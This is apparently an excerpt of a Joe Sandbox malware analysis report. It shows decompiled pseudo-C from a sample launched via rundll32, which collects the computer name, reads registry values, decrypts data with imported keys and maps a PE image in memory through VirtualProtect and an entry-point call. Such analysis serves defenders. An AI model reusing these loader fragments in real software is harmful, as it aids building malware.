                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: String$Free$Alloc
                  • String ID:
                  • API String ID: 986138563-0
                  • Opcode ID: 37f54a814cee44930e2ac28a6f203926f27b08e3f8fd95ec8e2d1d4a9bc92b8c
                  • Instruction ID: e8d91d1297d5965dbd6fd85de67569a2626e1d3cd56d8e4e903be414c3a78843
                  • Opcode Fuzzy Hash: 37f54a814cee44930e2ac28a6f203926f27b08e3f8fd95ec8e2d1d4a9bc92b8c
                  • Instruction Fuzzy Hash: 47014F75A00209BFDF419FA9D9149AF7BB8EF48750B004422F905E7220DA309D25CBA1
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D5472F Relevance: 3.0, APIs: 2, Instructions: 40COMMON
                  Download Yara Rule
                  C-Code - Quality: 37%
                  			E04D5472F(void* __ecx) {
				signed int _v8;
				void* _t15;
				void* _t19;
				void* _t20;
				void* _t22;
				intOrPtr* _t23;

				_t23 = __imp__;
				_t20 = 0;
				_v8 = _v8 & 0;
				 *_t23(3, 0,  &_v8, _t19, _t22, __ecx); // executed
				_t10 = _v8;
				if(_v8 != 0) {
					_t20 = E04D533DC(_t10 + 1);
					if(_t20 != 0) {
						_t15 =  *_t23(3, _t20,  &_v8); // executed
						if(_t15 != 0) {
							 *((char*)(_v8 + _t20)) = 0;
						} else {
							E04D561DA(_t20);
							_t20 = 0;
						}
					}
				}
				return _t20;
			}









                  0x04d54734
                  0x04d5473f
                  0x04d54741
                  0x04d54747
                  0x04d54749
                  0x04d5474e
                  0x04d54757
                  0x04d5475b
                  0x04d54764
                  0x04d54768
                  0x04d54777
                  0x04d5476a
                  0x04d5476b
                  0x04d54770
                  0x04d54770
                  0x04d54768
                  0x04d5475b
                  0x04d54780

                  APIs
                  • GetComputerNameExA.KERNEL32(00000003,00000000,04D53DCD,00000000,00000000,?,7491C740,04D53DCD), ref: 04D54747
                    • Part of subcall function 04D533DC: RtlAllocateHeap.NTDLL(00000000,00000000,04D562F6), ref: 04D533E8
                  • GetComputerNameExA.KERNEL32(00000003,00000000,04D53DCD,04D53DCE,?,7491C740,04D53DCD), ref: 04D54764
                    • Part of subcall function 04D561DA: RtlFreeHeap.NTDLL(00000000,00000000,04D56383,00000000,?,00000000,00000000), ref: 04D561E6
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: ComputerHeapName$AllocateFree
                  • String ID:
                  • API String ID: 187446995-0
                  • Opcode ID: 524f1cbf3c4dab8532fc5296807d4586ea123e772e49d1762e0f5f4153f1fa80
                  • Instruction ID: 660e893c9d9c5ea6aba61237be35f486ca35cecdbf2cee1119916c6617c9abc0
                  • Opcode Fuzzy Hash: 524f1cbf3c4dab8532fc5296807d4586ea123e772e49d1762e0f5f4153f1fa80
                  • Instruction Fuzzy Hash: 59F09026700119EAEF11D6AA8C04FAF76ACDBC5654F500055AD04D3151EEB0EA0296B1
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D55006 Relevance: 3.0, APIs: 2, Instructions: 26memoryCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E04D55006(signed int __edx, intOrPtr _a4) {
				void* _t3;
				void* _t5;
				void* _t7;
				void* _t8;
				void* _t9;
				signed int _t10;

				_t10 = __edx;
				_t3 = HeapCreate(0, 0x400000, 0); // executed
				 *0x4d5a2d8 = _t3;
				if(_t3 == 0) {
					_t8 = 8;
					return _t8;
				}
				 *0x4d5a1c8 = GetTickCount();
				_t5 = E04D554D8(_a4);
				if(_t5 == 0) {
					_t5 = E04D5213E(_t9, _a4); // executed
					if(_t5 == 0) {
						if(E04D56392(_t9) != 0) {
							 *0x4d5a300 = 1; // executed
						}
						_t7 = E04D52523(_t10); // executed
						return _t7;
					}
				}
				return _t5;
			}









                  0x04d55006
                  0x04d5500f
                  0x04d55015
                  0x04d5501c
                  0x04d55020
                  0x00000000
                  0x04d55020
                  0x04d5502d
                  0x04d55032
                  0x04d55039
                  0x04d5503f
                  0x04d55046
                  0x04d5504f
                  0x04d55051
                  0x04d55051
                  0x04d5505b
                  0x00000000
                  0x04d5505b
                  0x04d55046
                  0x04d55060

                  APIs
                  • HeapCreate.KERNEL32(00000000,00400000,00000000,04D5107E,?), ref: 04D5500F
                  • GetTickCount.KERNEL32 ref: 04D55023
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: CountCreateHeapTick
                  • String ID:
                  • API String ID: 2177101570-0
                  • Opcode ID: 17116afd18ed35ebbc7a774ea8e39574f2620d7186f03026d54261547ad2d2c4
                  • Instruction ID: dfc078fbb02c700bb83c9cd37c332954ee554ad31d4ff3e15e8fbb6e2c86c653
                  • Opcode Fuzzy Hash: 17116afd18ed35ebbc7a774ea8e39574f2620d7186f03026d54261547ad2d2c4
                  • Instruction Fuzzy Hash: AFF03970740311FAEF222F64B836B1A3A98FB04749F504465ED05952A4EF75F8009A65
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D52839 Relevance: 1.5, APIs: 1, Instructions: 49COMMON
                  Download Yara Rule
                  C-Code - Quality: 34%
                  			E04D52839(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v12;
				void* _v18;
				char _v20;
				intOrPtr _t15;
				void* _t17;
				intOrPtr _t19;
				void* _t23;

				_v20 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t15 =  *0x4d5a348; // 0xf1d5a8
				_t4 = _t15 + 0x4d5b3e8; // 0x5c78990
				_t20 = _t4;
				_t6 = _t15 + 0x4d5b174; // 0x650047
				_t17 = E04D5790B(_t4, _a4, 0x80000002, _a8, _t6, _a12, _t4,  &_v20); // executed
				if(_t17 < 0) {
					_t23 = _t17;
				} else {
					_t23 = 8;
					if(_v20 != _t23) {
						_t23 = 1;
					} else {
						_t19 = E04D5661C(_t20, _v12);
						if(_t19 != 0) {
							 *_a16 = _t19;
							_t23 = 0;
						}
						__imp__#6(_v12);
					}
				}
				return _t23;
			}










                  0x04d52843
                  0x04d5284a
                  0x04d5284b
                  0x04d5284c
                  0x04d5284d
                  0x04d52853
                  0x04d52858
                  0x04d52858
                  0x04d52862
                  0x04d52874
                  0x04d5287b
                  0x04d528a9
                  0x04d5287d
                  0x04d5287f
                  0x04d52884
                  0x04d528a6
                  0x04d52886
                  0x04d52889
                  0x04d52890
                  0x04d52895
                  0x04d52897
                  0x04d52897
                  0x04d5289c
                  0x04d5289c
                  0x04d52884
                  0x04d528b0

                  APIs
                    • Part of subcall function 04D5790B: SysFreeString.OLEAUT32(?), ref: 04D579EA
                    • Part of subcall function 04D5661C: lstrlenW.KERNEL32(004F0053,00000000,00000000,?,?,04D54B72,004F0053,00000000,?), ref: 04D56625
                    • Part of subcall function 04D5661C: memcpy.NTDLL(00000000,004F0053,?,?,00000002,?,?,04D54B72,004F0053,00000000,?), ref: 04D5664F
                    • Part of subcall function 04D5661C: memset.NTDLL ref: 04D56663
                  • SysFreeString.OLEAUT32(00000000), ref: 04D5289C
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: FreeString$lstrlenmemcpymemset
                  • String ID:
                  • API String ID: 397948122-0
                  • Opcode ID: 0e015f51d60237f7b4ab600fdae41bf2769a393e30edcbe74c7440b1f70d91a6
                  • Instruction ID: 62bf3676681785451a8f327ad59979ad30057daaca9aea731440c722c47ede04
                  • Opcode Fuzzy Hash: 0e015f51d60237f7b4ab600fdae41bf2769a393e30edcbe74c7440b1f70d91a6
                  • Instruction Fuzzy Hash: 61015A32600119BFEF119FE8CC44AAABBB8FB44754F0045A5ED01A7170EF71E915CBA0
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04CC1E4A Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                  Download Yara Rule
                  C-Code - Quality: 37%
                  			E04CC1E4A(void* __eax, intOrPtr _a4) {

				 *0x4cc41d0 =  *0x4cc41d0 & 0x00000000;
				_push(0);
				_push(0x4cc41cc);
				_push(1);
				_push(_a4);
				 *0x4cc41c8 = 0xc; // executed
				L04CC215E(); // executed
				return __eax;
			}



                  0x04cc1e4a
                  0x04cc1e51
                  0x04cc1e53
                  0x04cc1e58
                  0x04cc1e5a
                  0x04cc1e5e
                  0x04cc1e68
                  0x04cc1e6d

                  APIs
                  • ConvertStringSecurityDescriptorToSecurityDescriptorA.ADVAPI32(04CC20D1,00000001,04CC41CC,00000000), ref: 04CC1E68
                  Memory Dump Source
                  • Source File: 00000005.00000002.776540685.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: true
                  • Associated: 00000005.00000002.776540685.0000000004CC5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4cc0000_rundll32.jbxd
                  Similarity
                  • API ID: DescriptorSecurity$ConvertString
                  • String ID:
                  • API String ID: 3907675253-0
                  • Opcode ID: 3690d3ce12ff1e53fae12f00da2123483f13370b274ee7556d1471d5c90cad60
                  • Instruction ID: 88ec8d461a1b7ef648a427c46d6376bd50408a9e5e9443c3b99f7d4438f1b80c
                  • Opcode Fuzzy Hash: 3690d3ce12ff1e53fae12f00da2123483f13370b274ee7556d1471d5c90cad60
                  • Instruction Fuzzy Hash: 25C04CBC944311ABF719AF40DC55F057A62B760B09F108658F680341C083FB2854991D
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04CC2046 Relevance: 1.5, APIs: 1, Instructions: 5memoryCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E04CC2046(long _a4) {
				void* _t2;

				_t2 = RtlAllocateHeap( *0x4cc4190, 0, _a4); // executed
				return _t2;
			}




                  0x04cc2052
                  0x04cc2058

                  APIs
                  • RtlAllocateHeap.NTDLL(00000000,?,04CC124D,00000030,74CB63F0,00000000), ref: 04CC2052
                  Memory Dump Source
                  • Source File: 00000005.00000002.776540685.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: true
                  • Associated: 00000005.00000002.776540685.0000000004CC5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4cc0000_rundll32.jbxd
                  Similarity
                  • API ID: AllocateHeap
                  • String ID:
                  • API String ID: 1279760036-0
                  • Opcode ID: ee4eee68a21aa273faedd5cc714dcd3a32536a337322892217356405452d0596
                  • Instruction ID: 0acc7a623ae43943a06900cec4a6c46df7795ebd541296e91285a9e10fc6f175
                  • Opcode Fuzzy Hash: ee4eee68a21aa273faedd5cc714dcd3a32536a337322892217356405452d0596
                  • Instruction Fuzzy Hash: 02B0927A100100ABCA014A00EE04B05BA22E760700F008010E34800060833A1820EA18
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04CC1CD6 Relevance: 1.5, APIs: 1, Instructions: 5memoryCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E04CC1CD6(void* _a4) {
				char _t2;

				_t2 = RtlFreeHeap( *0x4cc4190, 0, _a4); // executed
				return _t2;
			}




                  0x04cc1ce2
                  0x04cc1ce8

                  APIs
                  • RtlFreeHeap.NTDLL(00000000,00000030,04CC1C29,00000000,00000030,00000000,00000000,00000030,?,?,?,?,?,04CC129B), ref: 04CC1CE2
                  Memory Dump Source
                  • Source File: 00000005.00000002.776540685.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: true
                  • Associated: 00000005.00000002.776540685.0000000004CC5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4cc0000_rundll32.jbxd
                  Similarity
                  • API ID: FreeHeap
                  • String ID:
                  • API String ID: 3298025750-0
                  • Opcode ID: 504c3649d2f0e7f1e86e5a54dd482cc7a93a215dd44dee2e31f18f60fa32e930
                  • Instruction ID: 3c89c9956d1961fadb61f963511a9c7f392cd3aba64026d3fcd0f83b77a98c05
                  • Opcode Fuzzy Hash: 504c3649d2f0e7f1e86e5a54dd482cc7a93a215dd44dee2e31f18f60fa32e930
                  • Instruction Fuzzy Hash: E6B0923A000100AACA119A00ED04B057A22E760700F00C010E2455006082368820EA18
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D561DA Relevance: 1.5, APIs: 1, Instructions: 5memoryCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E04D561DA(void* _a4) {
				char _t2;

				_t2 = RtlFreeHeap( *0x4d5a2d8, 0, _a4); // executed
				return _t2;
			}




                  0x04d561e6
                  0x04d561ec

                  APIs
                  • RtlFreeHeap.NTDLL(00000000,00000000,04D56383,00000000,?,00000000,00000000), ref: 04D561E6
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: FreeHeap
                  • String ID:
                  • API String ID: 3298025750-0
                  • Opcode ID: a97afe8cbe8f0ee8f708cf40cbb6b94ed45a68cbf5ea193a441506bacd61c915
                  • Instruction ID: 87004af448a6b2a996c66662a1029580967bf5c8174bd34786f8ca348e357a60
                  • Opcode Fuzzy Hash: a97afe8cbe8f0ee8f708cf40cbb6b94ed45a68cbf5ea193a441506bacd61c915
                  • Instruction Fuzzy Hash: FBB012B1300300EBCB114B00EE25F057F25E750700F005510B304002748A360C21FB15
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04CC166A Relevance: 1.3, APIs: 1, Instructions: 70COMMON
                  Download Yara Rule
                  C-Code - Quality: 85%
                  			E04CC166A(void* __eax) {
				char _v8;
				void* _v12;
				void* __edi;
				void* _t18;
				long _t26;
				long _t29;
				intOrPtr _t40;
				void* _t41;
				void* _t42;
				void* _t44;

				_t41 = __eax;
				_t16 =  *0x4cc41c0;
				_t33 =  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x4cc41c0 - 0x43174ac4 &  !( *0x4cc41c0 - 0x43174ac4);
				_t18 = E04CC1142( *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x4cc41c0 - 0x43174ac4 &  !( *0x4cc41c0 - 0x43174ac4),  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x4cc41c0 - 0x43174ac4 &  !( *0x4cc41c0 - 0x43174ac4), _t16 + 0xbce8a57d,  &_v8,  &_v12); // executed
				if(_t18 != 0) {
					_t29 = 8;
					goto L8;
				} else {
					_t40 = _v8;
					_t29 = E04CC1C51(_t33, _t40, _t41);
					if(_t29 == 0) {
						_t44 =  *((intOrPtr*)(_t40 + 0x3c)) + _t40;
						_t29 = E04CC1CEB(_t40, _t44);
						if(_t29 == 0) {
							_t26 = E04CC170E(_t44, _t40); // executed
							_t29 = _t26;
							if(_t29 == 0) {
								_push(_t26);
								_push(1);
								_push(_t40);
								if( *((intOrPtr*)( *((intOrPtr*)(_t44 + 0x28)) + _t40))() == 0) {
									_t29 = GetLastError();
								}
							}
						}
					}
					_t42 = _v12;
					 *((intOrPtr*)(_t42 + 0x18))( *((intOrPtr*)(_t42 + 0x1c))( *_t42));
					E04CC1CD6(_t42);
					L8:
					return _t29;
				}
			}













                  0x04cc1672
                  0x04cc1674
                  0x04cc1690
                  0x04cc16a1
                  0x04cc16a8
                  0x04cc1706
                  0x00000000
                  0x04cc16aa
                  0x04cc16aa
                  0x04cc16b4
                  0x04cc16b8
                  0x04cc16bd
                  0x04cc16c5
                  0x04cc16c9
                  0x04cc16ce
                  0x04cc16d3
                  0x04cc16d7
                  0x04cc16dc
                  0x04cc16dd
                  0x04cc16e1
                  0x04cc16e6
                  0x04cc16ee
                  0x04cc16ee
                  0x04cc16e6
                  0x04cc16d7
                  0x04cc16c9
                  0x04cc16f0
                  0x04cc16f9
                  0x04cc16fd
                  0x04cc1707
                  0x04cc170d
                  0x04cc170d

                  APIs
                    • Part of subcall function 04CC1142: GetModuleHandleA.KERNEL32(?,00000020), ref: 04CC1166
                    • Part of subcall function 04CC1142: GetProcAddress.KERNEL32(00000000,?), ref: 04CC1188
                    • Part of subcall function 04CC1142: GetProcAddress.KERNEL32(00000000,?), ref: 04CC119E
                    • Part of subcall function 04CC1142: GetProcAddress.KERNEL32(00000000,?), ref: 04CC11B4
                    • Part of subcall function 04CC1142: GetProcAddress.KERNEL32(00000000,?), ref: 04CC11CA
                    • Part of subcall function 04CC1142: GetProcAddress.KERNEL32(00000000,?), ref: 04CC11E0
                    • Part of subcall function 04CC1CEB: LoadLibraryA.KERNEL32(?,?,00000000,?,?), ref: 04CC1D23
                    • Part of subcall function 04CC170E: VirtualProtect.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 04CC1747
                    • Part of subcall function 04CC170E: VirtualProtect.KERNEL32(00000000,?,?,?), ref: 04CC17BC
                    • Part of subcall function 04CC170E: GetLastError.KERNEL32 ref: 04CC17C2
                  • GetLastError.KERNEL32 ref: 04CC16E8
                  Memory Dump Source
                  • Source File: 00000005.00000002.776540685.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: true
                  • Associated: 00000005.00000002.776540685.0000000004CC5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4cc0000_rundll32.jbxd
                  Similarity
                  • API ID: AddressProc$ErrorLastProtectVirtual$HandleLibraryLoadModule
                  • String ID:
                  • API String ID: 3135819546-0
                  • Opcode ID: 106967f11d98c229b20f024e45fe12a59dd2318bc3ed76e181b2e03ad35488ba
                  • Instruction ID: 1aad218bbea627b9e69dfa7bf88f5059eba7cf837a9a903a9233ae794d2d14fd
                  • Opcode Fuzzy Hash: 106967f11d98c229b20f024e45fe12a59dd2318bc3ed76e181b2e03ad35488ba
                  • Instruction Fuzzy Hash: 7A11CB766007116BD721EEA6CC84EAB77BEFF8811470C415DE942A7542EE60FD068F94
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D533F1 Relevance: 1.3, APIs: 1, Instructions: 43memoryCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E04D533F1(intOrPtr* __edi, void* _a4, intOrPtr _a8, unsigned int _a12) {
				void* _t21;
				void* _t22;
				signed int _t24;
				intOrPtr* _t26;
				void* _t27;

				_t26 = __edi;
				if(_a4 == 0) {
					L2:
					_t27 = E04D558BD(_a4, 0x80000002, _a8, _a12,  &_a4,  &_a12);
					if(_t27 == 0) {
						_t24 = _a12 >> 1;
						if(_t24 == 0) {
							_t27 = 2;
							HeapFree( *0x4d5a2d8, 0, _a4);
						} else {
							_t21 = _a4;
							 *((short*)(_t21 + _t24 * 2 - 2)) = 0;
							 *_t26 = _t21;
						}
					}
					L6:
					return _t27;
				}
				_t22 = E04D52839(_a4, _a8, _a12, __edi); // executed
				_t27 = _t22;
				if(_t27 == 0) {
					goto L6;
				}
				goto L2;
			}








                  0x04d533f1
                  0x04d533f9
                  0x04d53410
                  0x04d5342b
                  0x04d5342f
                  0x04d53434
                  0x04d53436
                  0x04d53448
                  0x04d53454
                  0x04d53438
                  0x04d53438
                  0x04d5343d
                  0x04d53442
                  0x04d53442
                  0x04d53436
                  0x04d5345a
                  0x04d5345e
                  0x04d5345e
                  0x04d53405
                  0x04d5340a
                  0x04d5340e
                  0x00000000
                  0x00000000
                  0x00000000

                  APIs
                    • Part of subcall function 04D52839: SysFreeString.OLEAUT32(00000000), ref: 04D5289C
                  • HeapFree.KERNEL32(00000000,00000000,00000000,80000002,74D0F710,?,00000000,?,00000000,?,04D5528E,?,004F0053,05C79218,00000000,?), ref: 04D53454
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: Free$HeapString
                  • String ID:
                  • API String ID: 3806048269-0
                  • Opcode ID: 73de202a20f767ab552011b1e04b3bf5c5ca203d73dec4600d5d0f15763d12bd
                  • Instruction ID: fe0c1ce0c049a59299603fb8106e7e5b403bf73725889b38c9b6b9ceb162b45b
                  • Opcode Fuzzy Hash: 73de202a20f767ab552011b1e04b3bf5c5ca203d73dec4600d5d0f15763d12bd
                  • Instruction Fuzzy Hash: F7012832601619BBDF239F94DC11EAA3BA9FF14790F048424FE199A230DB31E960DB90
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D55063 Relevance: 1.3, APIs: 1, Instructions: 36stringCOMMON
                  Download Yara Rule
                  C-Code - Quality: 75%
                  			E04D55063(void* __ecx, void* __edx, void* _a4, void* _a8) {
				void* _t13;
				void* _t21;

				_t11 =  &_a4;
				_t21 = 0;
				__imp__( &_a8);
				_t13 = E04D51508( &_a4 + 1, 1, _a8, _a4, _a4, _t11); // executed
				if(_t13 == 0) {
					_t21 = E04D533DC(_a8 + _a8);
					if(_t21 != 0) {
						E04D522EA(_a4, _t21, _t23);
					}
					E04D561DA(_a4);
				}
				return _t21;
			}





                  0x04d5506b
                  0x04d55072
                  0x04d55074
                  0x04d55083
                  0x04d5508a
                  0x04d55099
                  0x04d5509d
                  0x04d550a4
                  0x04d550a4
                  0x04d550ac
                  0x04d550b1
                  0x04d550b6

                  APIs
                  • lstrlen.KERNEL32(00000000,00000000,04D53ECE,00000000,?,04D566D9,00000000,04D53ECE,?,7491C740,04D53ECE,00000000,05C79600), ref: 04D55074
                    • Part of subcall function 04D51508: CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000018,F0000000,00000000,00000000,00000000,?,?,?,04D55088,00000001,04D53ECE,00000000), ref: 04D51540
                    • Part of subcall function 04D51508: memcpy.NTDLL(04D55088,04D53ECE,00000010,?,?,?,04D55088,00000001,04D53ECE,00000000,?,04D566D9,00000000,04D53ECE,?,7491C740), ref: 04D51559
                    • Part of subcall function 04D51508: CryptImportKey.ADVAPI32(?,?,0000001C,00000000,00000000,00000000), ref: 04D51582
                    • Part of subcall function 04D51508: CryptSetKeyParam.ADVAPI32(00000000,00000001,?,00000000), ref: 04D5159A
                    • Part of subcall function 04D51508: memcpy.NTDLL(00000000,7491C740,05C79600,00000010), ref: 04D515EC
                    • Part of subcall function 04D533DC: RtlAllocateHeap.NTDLL(00000000,00000000,04D562F6), ref: 04D533E8
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: Crypt$memcpy$AcquireAllocateContextHeapImportParamlstrlen
                  • String ID:
                  • API String ID: 894908221-0
                  • Opcode ID: a39a93554e5fea70963b997573c51d3fa2eed27da7bf07198e91478b8a21a972
                  • Instruction ID: 2166492758446529b2aeecd333395d6eb7cd96868783e91c13c478812a42b7e7
                  • Opcode Fuzzy Hash: a39a93554e5fea70963b997573c51d3fa2eed27da7bf07198e91478b8a21a972
                  • Instruction Fuzzy Hash: 3DF05476200109BBDF126E59DC00DEE3BADEF843A5B008011FD09CA124DE31E5559BB0
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D55B0E Relevance: 1.3, APIs: 1, Instructions: 26stringCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E04D55B0E(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, WCHAR* _a20) {
				void* _t17;

				if(_a4 == 0) {
					L2:
					return E04D546ED(_a8, 1, _a12, _a16, _a20, lstrlenW(_a20) + _t14 + 2);
				}
				_t17 = E04D5370C(_a4, _a8, _a12, _a16, _a20); // executed
				if(_t17 != 0) {
					goto L2;
				}
				return _t17;
			}




                  0x04d55b16
                  0x04d55b30
                  0x00000000
                  0x04d55b4c
                  0x04d55b27
                  0x04d55b2e
                  0x00000000
                  0x00000000
                  0x04d55b53

                  APIs
                  • lstrlenW.KERNEL32(?,?,?,04D54E5D,3D04D590,80000002,04D56A76,04D557D1,74666F53,4D4C4B48,04D557D1,?,3D04D590,80000002,04D56A76,?), ref: 04D55B33
                    • Part of subcall function 04D5370C: SysAllocString.OLEAUT32(04D557D1), ref: 04D53725
                    • Part of subcall function 04D5370C: SysFreeString.OLEAUT32(00000000), ref: 04D53766
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: String$AllocFreelstrlen
                  • String ID:
                  • API String ID: 3808004451-0
                  • Opcode ID: 7aeb7473b59e10bac4b0b08e1ac08ca42c6ab0977632b8e0120fe9a5c92ea82a
                  • Instruction ID: 5941e30fd1e156a08072460927fd7b9dececcbb01ee4f97d34e972df1c3b36fd
                  • Opcode Fuzzy Hash: 7aeb7473b59e10bac4b0b08e1ac08ca42c6ab0977632b8e0120fe9a5c92ea82a
                  • Instruction Fuzzy Hash: 1FF07F3210020EFBDF065F90EC15EDA3F6AEB18394F048014BE1454171DB32E5B1EBA0
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Non-executed Functions

                  Function 04D51D8A Relevance: 12.3, APIs: 8, Instructions: 258memoryCOMMONCrypto
                  Download Yara Rule
                  C-Code - Quality: 93%
                  			E04D51D8A(void* __ebx, int* __ecx, void* __edx, void* __edi, void* __esi) {
				int _v8;
				void* _v12;
				void* _v16;
				signed int _t28;
				signed int _t33;
				signed int _t39;
				char* _t45;
				char* _t46;
				char* _t47;
				char* _t48;
				char* _t49;
				char* _t50;
				void* _t51;
				void* _t52;
				void* _t53;
				intOrPtr _t54;
				void* _t56;
				intOrPtr _t57;
				intOrPtr _t58;
				signed int _t61;
